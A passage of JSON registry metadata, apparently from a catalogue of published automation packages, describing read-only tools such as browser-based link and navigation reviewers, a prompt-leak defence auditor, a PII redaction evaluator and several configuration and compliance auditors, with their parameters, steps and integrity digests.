comment-page size, 1 through 30. Page is fixed to 1 and since is omitted to preserve first-page context; reaching the bound remains incomplete."}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b047b6ea803eb194921669100e155194a8f2fe6a37a4b591b552d7e4ca0c255a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":3,"shell":6,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":8,"width":2,"fan_out":0,"for_each_steps":0,"complexity":20,"apis":[{"adapter":"github","steps":4,"methods":["issues/get","issues/list-comments","repos/get"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":81773,"context_tokens":10781,"exploration_ms":9946,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/documentation-link-reading-queue@0.1.1","reference":"himanshu-jha/documentation-link-reading-queue@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/documentation-link-reading-queue@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/documentation-link-reading-queue@0.1.1","name":"documentation-link-reading-queue","title":"documentation-link-reading-queue","description":"Turn the links exposed on a documentation index into a reading checklist you can keep locally. An isolated browser waits for the page, captures bounded links and headings, merges duplicate destinations and retains their labels. Choose same-origin links or all accepted public URLs. Query-bearing and unsupported links are excluded with reasons; fragments are removed for deduplication. Writes evidence.json, REVIEW.md and a verified hash receipt. Every queued item is UNREAD. The Play does not open or summarize linked pages.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["browser","documentation","reading-queue","effect-local-write","typescript"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:14:52.393406+00:00","visibility":"public","quality_score":1,"size_bytes":11375,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":8,"names":["open_index","write_packet","capture_links","verify_packet","wait_for_index","capture_headings","validate_request","build_reading_queue"]},"parameters":[{"name":"target_url","type":"string","required":true,"description":"Trusted public HTTPS documentation index without credentials/query/fragment; loopback HTTP allowed for tests."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW output directory with an existing trusted parent."},{"name":"scope","type":"string","required":false,"default":"same_origin","description":"same_origin includes only links on the observed page origin; all_public includes accepted public HTTPS links and loopback test links."},{"name":"ready_selector","type":"string","required":false,"default":"main","description":"CSS readiness selector, waited on for up to 15 seconds before observation."}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:06bc9e9fa1554581e10d72c95d7f27d477af93be891617646074025629e9b689","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":4,"browser":4,"auth":0,"other":0},"distinct_kinds":2,"depth":8,"width":1,"fan_out":0,"for_each_steps":0,"complexity":16,"apis":[],"tools":[{"name":"browser","kind":"tool","source":"declared","count":4},{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":{"api_tokens":4062,"context_tokens":1947,"exploration_ms":1501,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/himanshu-jha/url-migration-verification-pack@0.1.1","reference":"himanshu-jha/url-migration-verification-pack@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/url-migration-verification-pack@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/url-migration-verification-pack@0.1.1","name":"url-migration-verification-pack","title":"url-migration-verification-pack","description":"Check where an old URL lands in an isolated browser before announcing a URL migration. After the caller-selected readiness gate, compare the observed page URL with the expected destination and capture bounded headings and links for review. Stable observations produce MATCH or MISMATCH; movement between slices, query/fragment suffixes or truncation produce UNKNOWN. Writes new evidence.json, REVIEW.md and a verified hash receipt. It does not report HTTP status, redirect hops, canonical tags or SEO correctness.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["browser","url-migration","release-review","effect-local-write","typescript"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:14:44.088683+00:00","visibility":"public","quality_score":1,"size_bytes":11165,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":8,"names":["open_source","write_packet","capture_links","verify_packet","capture_headings","validate_request","compare_destination","wait_for_destination"]},"parameters":[{"name":"source_url","type":"string","required":true,"description":"Trusted public HTTPS old URL without credentials/query/fragment; loopback HTTP allowed for tests."},{"name":"expected_url","type":"string","required":true,"description":"Expected final URL under the same URL rules. Compared only, not navigated."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW output directory with an existing trusted parent."},{"name":"ready_selector","type":"string","required":false,"default":"main","description":"CSS selector that must appear at the landing page within 15 seconds."}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9ab3dcd0615da4e03978efa477133157efaad4793175d3ca7eecd610b22963d7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":4,"browser":4,"auth":0,"other":0},"distinct_kinds":2,"depth":8,"width":1,"fan_out":0,"for_each_steps":0,"complexity":16,"apis":[],"tools":[{"name":"browser","kind":"tool","source":"declared","count":4},{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":{"api_tokens":3971,"context_tokens":1938,"exploration_ms":4457,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/himanshu-jha/page-navigation-regression-pack@0.1.1","reference":"himanshu-jha/page-navigation-regression-pack@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/page-navigation-regression-pack@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/page-navigation-regression-pack@0.1.1","name":"page-navigation-regression-pack","title":"page-navigation-regression-pack","description":"Compare navigation before and after a redesign without clicking through the site. An isolated browser captures bounded links and headings on both pages. The packet lists removed and added targets, changed labels, repeated targets and heading changes, including observed role, count and order. Same-origin links compare pathnames across environments; query/hash routing is not compared and makes coverage UNKNOWN. Writes a new JSON/Markdown review packet and verifies its hashes. This records two page observations, not a full crawl or proof that links work.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["browser","navigation-review","regression","effect-local-write","typescript"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:14:36.040238+00:00","visibility":"public","quality_score":1,"size_bytes":11346,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":12,"names":["open_after","wait_after","open_before","wait_before","write_packet","verify_packet","validate_request","compare_navigation","capture_after_links","capture_before_links","capture_after_headings","capture_before_headings"]},"parameters":[{"name":"before_url","type":"string","required":true,"description":"Trusted public HTTPS baseline page without credentials/query/fragment; loopback HTTP allowed for local tests."},{"name":"after_url","type":"string","required":true,"description":"Trusted public HTTPS candidate page under the same URL rules. Both pages may execute their own JavaScript."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW output directory with an existing trusted parent; never overwritten."},{"name":"ready_selector","type":"string","required":false,"default":"main","description":"CSS readiness selector used on both pages, with a 15-second timeout."}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:02ff35a309c5b03855152b5f29c4f07c765822ff748b179ed93f826b5dbb9471","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":4,"browser":8,"auth":0,"other":0},"distinct_kinds":2,"depth":12,"width":1,"fan_out":0,"for_each_steps":0,"complexity":24,"apis":[],"tools":[{"name":"browser","kind":"tool","source":"declared","count":8},{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":{"api_tokens":8129,"context_tokens":3852,"exploration_ms":2248,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/himanshu-jha/web-form-handoff-pack@0.1.2","reference":"himanshu-jha/web-form-handoff-pack@0.1.2","uri":"https://play.modiqo.ai/himanshu-jha/web-form-handoff-pack@0.1.2","manifest_uri":"https://play.modiqo.ai/himanshu-jha/web-form-handoff-pack@0.1.2","name":"web-form-handoff-pack","title":"web-form-handoff-pack","description":"Prepare a developer handoff from a public form without entering data or pressing submit. An isolated browser captures up to 100 exposed controls, headings and clickable elements per slice. The packet lists observed role/name pairs, flags unnamed or repeated controls, and records implementation questions. HTML name/type/required attributes and form ownership remain UNKNOWN. Writes new evidence.json, REVIEW.md and a hash receipt, then reopens them to verify bytes. No login, form testing or accessibility certification.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["browser","form-review","developer-handoff","effect-local-write","typescript"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.2","published_at":"2026-09-06T08:14:28.10476+00:00","visibility":"public","quality_score":1,"size_bytes":11232,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":9,"names":["open_page","write_packet","build_handoff","verify_packet","wait_for_form","capture_actions","capture_controls","capture_headings","validate_request"]},"parameters":[{"name":"target_url","type":"string","required":true,"description":"Trusted public HTTPS page without credentials, query or fragment. Loopback HTTP is allowed for tests. Page JavaScript may make requests."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW directory with an existing trusted parent. Existing files are never overwritten."},{"name":"ready_selector","type":"string","required":false,"default":"main","description":"CSS readiness selector, waited on for up to 15 seconds. Presence is not a health check."}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:15f26778c9b3da637219b26bf2f40070076d49690e59461ad22453cdb941337b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":4,"browser":5,"auth":0,"other":0},"distinct_kinds":2,"depth":9,"width":1,"fan_out":0,"for_each_steps":0,"complexity":18,"apis":[],"tools":[{"name":"browser","kind":"tool","source":"declared","count":5},{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":{"api_tokens":4035,"context_tokens":1944,"exploration_ms":3106,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/ameykaulavkar/system-prompt-leak-guard@0.1.0","reference":"ameykaulavkar/system-prompt-leak-guard@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/system-prompt-leak-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/system-prompt-leak-guard@0.1.0","name":"system-prompt-leak-guard","title":"system-prompt-leak-guard","description":"LLM system prompt security auditor and prompt injection defense evaluator. Assesses system prompt resilience against adversarial extraction attacks, generates zero-entropy canary tokens for real-time exfiltration detection, validates XML/delimiter boundary isolation, and outputs hardened defensive system prompt scaffolding with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-ai-safety-llm-security","job-prompt-security-engineer","tool-prompt-leak-guard","audience-ai-engineers","effect-read-only"],"primary_domain":"domain-ai-safety-llm-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T07:49:09.539471+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5528,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["canary_token_generator","leakage_boundary_auditor","prompt_injection_scanner","defensive_system_prompt_scaffold"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to system prompt file or 'sample' to audit"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:61cbba753388245bfbd6c6fd919136a13455c4e9e0700da807193cce3fa35300","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/editorconfig-lint-scorer@0.1.0","reference":"ameykaulavkar/editorconfig-lint-scorer@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/editorconfig-lint-scorer@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/editorconfig-lint-scorer@0.1.0","name":"editorconfig-lint-scorer","title":"editorconfig-lint-scorer","description":"Cross-editor consistency auditor and .editorconfig rule compliance validator. Inspects repository files for mixed line endings (CRLF/LF), missing terminal newlines at EOF, trailing whitespace, and tab-vs-space indentation conflicts, delivering a quantified whitespace health grade and generating an optimal recommended .editorconfig configuration with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-dx-linting-formatting","job-codebase-standards-enforcer","tool-editorconfig-scorer","audience-software-engineers","effect-read-only"],"primary_domain":"domain-dx-linting-formatting","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T07:49:07.356092+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4355,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["editorconfig_parser","whitespace_and_newline_auditor","indentation_consistency_checker","recommended_editorconfig_generator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Directory path or 'sample' to audit"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:049435b8b2e1b0866119f1bda3a6182878f710f59622c5b24c4caa0504191bb8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/license-attribution-generator@0.1.0","reference":"ameykaulavkar/license-attribution-generator@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/license-attribution-generator@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/license-attribution-generator@0.1.0","name":"license-attribution-generator","title":"license-attribution-generator","description":"Open-source software license compliance auditor and THIRD-PARTY-NOTICES generator. Scans project dependencies for viral copyleft risks (GPL, AGPL) that mandate proprietary source code disclosure, checks license compatibility matrices, and generates complete, legally compliant attribution documentation with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-legal-oss-compliance","job-license-compliance-auditor","tool-attribution-generator","audience-software-architects","effect-read-only"],"primary_domain":"domain-legal-oss-compliance","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T07:49:04.085931+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6582,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["copyleft_risk_auditor","dependency_manifest_parser","license_compatibility_checker","third_party_notices_generator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to package.json, requirements.txt, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:eb2876739267447f982cae07899080d16ebf319cab04e6d63cb07ee45a2b6c01","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/rag-chunk-quality-meter@0.1.0","reference":"ameykaulavkar/rag-chunk-quality-meter@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/rag-chunk-quality-meter@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/rag-chunk-quality-meter@0.1.0","name":"rag-chunk-quality-meter","title":"rag-chunk-quality-meter","description":"RAG document chunking quality and semantic boundary auditor. Detects mid-sentence truncation and unclosed Markdown code fence ruptures that degrade vector retrieval accuracy, audits chunk token distribution and sliding-window overlap, and generates production boundary-aware recursive chunker functions with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-ai-rag-chunking","job-chunk-quality-auditor","tool-vector-search-bench","audience-ai-engineers","effect-read-only"],"primary_domain":"domain-ai-rag-chunking","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T07:49:01.594983+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6776,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["chunk_corpus_parser","boundary_rupture_auditor","recursive_chunker_generator","size_distribution_and_overlap_meter"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to RAG chunk JSON array or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4c9db34ead5cbbf68cecd588d10af83516d60f78ee7023ec087c05529c5dbb36","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/ai-hallucination-grounding-bench@0.1.0","reference":"ameykaulavkar/ai-hallucination-grounding-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/ai-hallucination-grounding-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/ai-hallucination-grounding-bench@0.1.0","name":"ai-hallucination-grounding-bench","title":"ai-hallucination-grounding-bench","description":"Generative AI and RAG hallucination benchmark. Evaluates n-gram token grounding between model responses and reference documents, extracts fabricated numerical figures and proper nouns absent from source knowledge bases, and outputs sentence-level faithfulness attribution matrices with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-ai-rag-eval","job-hallucination-bench","tool-faithfulness-scorer","audience-ai-engineers","effect-read-only"],"primary_domain":"domain-ai-rag-eval","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T07:48:59.586134+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6757,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["rag_input_parser","ngram_grounding_calculator","ungrounded_entity_detector","faithfulness_citation_matrix"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to RAG evaluation JSON (containing source_context and llm_response) or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:72d6a20cecb7758974e7e835c03943f848f8e7e14f5db9ab3ac6aab4ce415259","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/pii-redaction-evaluator@0.1.0","reference":"ameykaulavkar/pii-redaction-evaluator@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/pii-redaction-evaluator@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/pii-redaction-evaluator@0.1.0","name":"pii-redaction-evaluator","title":"pii-redaction-evaluator","description":"Personally Identifiable Information (PII) detection, compliance auditor, and streaming redaction engine. Scans logs, customer chats, and prompt streams for unmasked SSNs, Luhn-valid credit cards, email addresses, and phone numbers, audits HIPAA and PCI-DSS compliance exposure, and outputs masked text alongside streaming redaction middleware with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-privacy-security","job-pii-redaction-evaluator","tool-data-sanitizer","audience-data-engineers","effect-read-only"],"primary_domain":"domain-privacy-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T07:48:56.89019+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":9028,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["text_stream_parser","pii_entity_detector","pii_masking_transformer","streaming_redactor_generator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to text file, log file, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ecd46a509123e3c44f52361496784584e22ab1eb9c16d84a5dadaec1f2afc3cb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/gdpr-cookie-consent-scanner@0.1.0","reference":"ameykaulavkar/gdpr-cookie-consent-scanner@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/gdpr-cookie-consent-scanner@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/gdpr-cookie-consent-scanner@0.1.0","name":"gdpr-cookie-consent-scanner","title":"gdpr-cookie-consent-scanner","description":"GDPR and ePrivacy cookie consent compliance scanner. Identifies pre-consent third-party tracking scripts (Google Analytics, Meta Pixel, TikTok, Hotjar) loaded without prior opt-in authorization, audits cookie banner UI dark patterns, and generates lightweight vanilla JavaScript consent gating code with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-privacy-gdpr","job-cookie-consent-auditor","tool-tracker-scanner","audience-compliance-engineers","effect-read-only"],"primary_domain":"domain-privacy-gdpr","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T07:48:54.554032+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8205,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["html_script_parser","preconsent_tracker_detector","gdpr_consent_scaffold_generator","cookie_banner_dark_pattern_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to HTML file or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8325fe6c771091d771fbce90c44dfc341f07802377fa4df563bd24eba5c12e15","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/elasticsearch-index-hygiene@0.1.0","reference":"ameykaulavkar/elasticsearch-index-hygiene@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/elasticsearch-index-hygiene@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/elasticsearch-index-hygiene@0.1.0","name":"elasticsearch-index-hygiene","title":"elasticsearch-index-hygiene","description":"Elasticsearch and OpenSearch index performance and cluster stability auditor. Flags zero-replica data loss risks that turn clusters RED, detects oversharding that exhausts JVM heap memory, audits aggressive 1s refresh intervals that burn ingest CPU, and synthesizes composable index templates with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-search-elasticsearch","job-es-index-auditor","tool-cluster-stability-bench","audience-site-reliability-engineers","effect-read-only"],"primary_domain":"domain-search-elasticsearch","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T07:48:51.603268+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6752,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["es_index_settings_parser","shard_allocation_auditor","hardened_index_template_generator","refresh_interval_and_mapping_auditor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to Elasticsearch index settings JSON or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0c317c52f0bc4269843bc35e39317ae76e0f881c8bf433b2afb583073c22fead","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/dynamodb-table-capacity-bench@0.1.0","reference":"ameykaulavkar/dynamodb-table-capacity-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/dynamodb-table-capacity-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/dynamodb-table-capacity-bench@0.1.0","name":"dynamodb-table-capacity-bench","title":"dynamodb-table-capacity-bench","description":"AWS DynamoDB schema and throughput cost optimizer. Detects low-cardinality hot partition keys that trigger 1,000 WCU throttling errors, audits over-projected Global Secondary Indexes (GSIs) causing write amplification, evaluates Point-in-Time Recovery (PITR) backup readiness, and generates turnkey On-Demand CloudFormation templates with zero external 